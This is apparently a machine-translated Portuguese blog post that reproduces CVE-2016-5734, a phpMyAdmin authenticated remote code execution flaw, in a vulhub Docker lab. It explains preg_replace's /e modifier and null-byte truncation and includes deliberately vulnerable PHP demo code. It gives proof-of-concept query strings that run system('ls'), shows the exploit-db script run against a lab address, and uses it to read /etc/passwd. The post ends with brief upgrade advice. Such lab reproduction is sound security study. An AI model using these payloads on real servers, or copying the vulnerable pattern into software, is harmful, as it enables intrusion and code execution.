CVE-2016-5734 Reprodução de vulnerabilidade de execução de código em segundo plano do Phpmyadmin


Descrição de vulnerabilidade

  CVE-2016-5734 no exploit-db é phpMyAdmin 4.6.2-Authenticated Remote Code Execution, que significa a execução remota de código de usuários autenticados phpMyAdmin. De acordo com a descrição, todas as versões 4.6.x do phpMyAdmin afetadas (até 4.6.3 )), versão 4.4.x (até 4.4.15.7) e versão 4.0.x (até 4.0.10.16). O autor do CVE usou a função preg_replace na versão anterior ao php 5.4.7 para lidar com o bug do erro de byte nulo, de forma que o código injetado possa ser executado remotamente.


Versão de impacto

  • versão 4.6.x do phpmyadmin (até 4.6.3)
  • versão 4.4.x do phpmyadmin (até 4.4.15.7)
  • versão 4.0.x do phpmyadmin (até 4.0.10.16)
  • Versão PHP: 4.3.0 ~ 5.4.6

Construção de ambiente de vulnerabilidade

Use vulhub para iniciar diretamente o dock do ambiente com um ambiente chave CVE-2018-12613

Início rápido do Docker e construção de ambiente de vulnerabilidade

Após baixar e instalar o vulhub, entre no /vulhub/phpmyadmin/CVE-2016-5734diretório e execute o seguinte comando para iniciar o ambiente

sudo docker-compose up -d

Após a instalação ser bem-sucedida, verifique a porta e descubra se a porta está mapeada em nossa porta 8080.
Insira a descrição da imagem aqui
Visite localhost: 8080 na máquina virtual e a seguinte interface aparecerá, indicando que a instalação foi bem-sucedida
Insira a descrição da imagem aqui

Análise de vulnerabilidade

  • Vamos falar sobre a função preg_replace primeiro : A
    função preg_replace executa uma pesquisa e substituição de expressão regular.

  • Deixe-me falar sobre o papel de preg_replace \ e :
    se este modificador obsoleto for definido, preg_replace () executará a string de substituição como uma avaliação de código php após realizar uma substituição de referência anterior para a string de substituição (método de função eval) e usar a execução resultar como a string realmente envolvida na substituição Aspas simples, aspas duplas, barras invertidas () e caracteres NULL serão substituídos por barras invertidas ao substituir as aspas.

Teste o uso \ede execução de código:

<?php
    highlight_file(__FILE__);
    $raw = $_GET['raw'];
    $replace = $_GET['replace'];
    $text = $_GET['text'];

    $text = preg_replace('/'.$raw.'/e', $replace, $text);
?>

poc

?raw=a&replace=system("ls")&text=larry

Insira a descrição da imagem aqui
Se nossa demonstração se tornar o código a seguir, haverá brechas?

<?php
    highlight_file(__FILE__);
    $raw = $_GET['raw'];
    $replace = $_GET['replace'];
    $text = $_GET['text'];

    $text = preg_replace('/'.$raw.'/i', $replace, $text);
?>

Na verdade, ele pode ser contornado.Quando a versão php for menor que 5.4.7, injete um caractere nulo no padrão para causar truncamento e passe o modificador e, que pode ser executado como código php.

poc

?raw=a/e%00&replace=system(%22ls%22)&text=larry

Insira a descrição da imagem aqui

Para análise de vulnerabilidade do código phpmyadmin, você pode ver o seguinte artigo:
https://xz.aliyun.com/t/7836#toc-5


Explorar

Condições de uso: precisa saber a senha da conta do banco de dados

Baixe o script de exploração:
https://www.exploit-db.com/exploits/40185

Método de utilização de script:

-u conta
-p senha
-c execução de código (código php) uname -a é executado por padrão

python 40185.py -u root -p root http://192.168.154.3:8080

Insira a descrição da imagem aqui

python 40185.py -u root -p root -c "system('cat /etc/passwd')" http://192.168.154.3:8080

Insira a descrição da imagem aqui


Endurecimento de vulnerabilidade

Atualizar php ou phpmyadmin

Link de referência

https://larry.ngrep.me/2016/09/21/cve-2016-5734-analysis/
https://xz.aliyun.com/t/7836

Acho que você gosta

Origin blog.csdn.net/weixin_41924764/article/details/113063083
Recomendado
Clasificación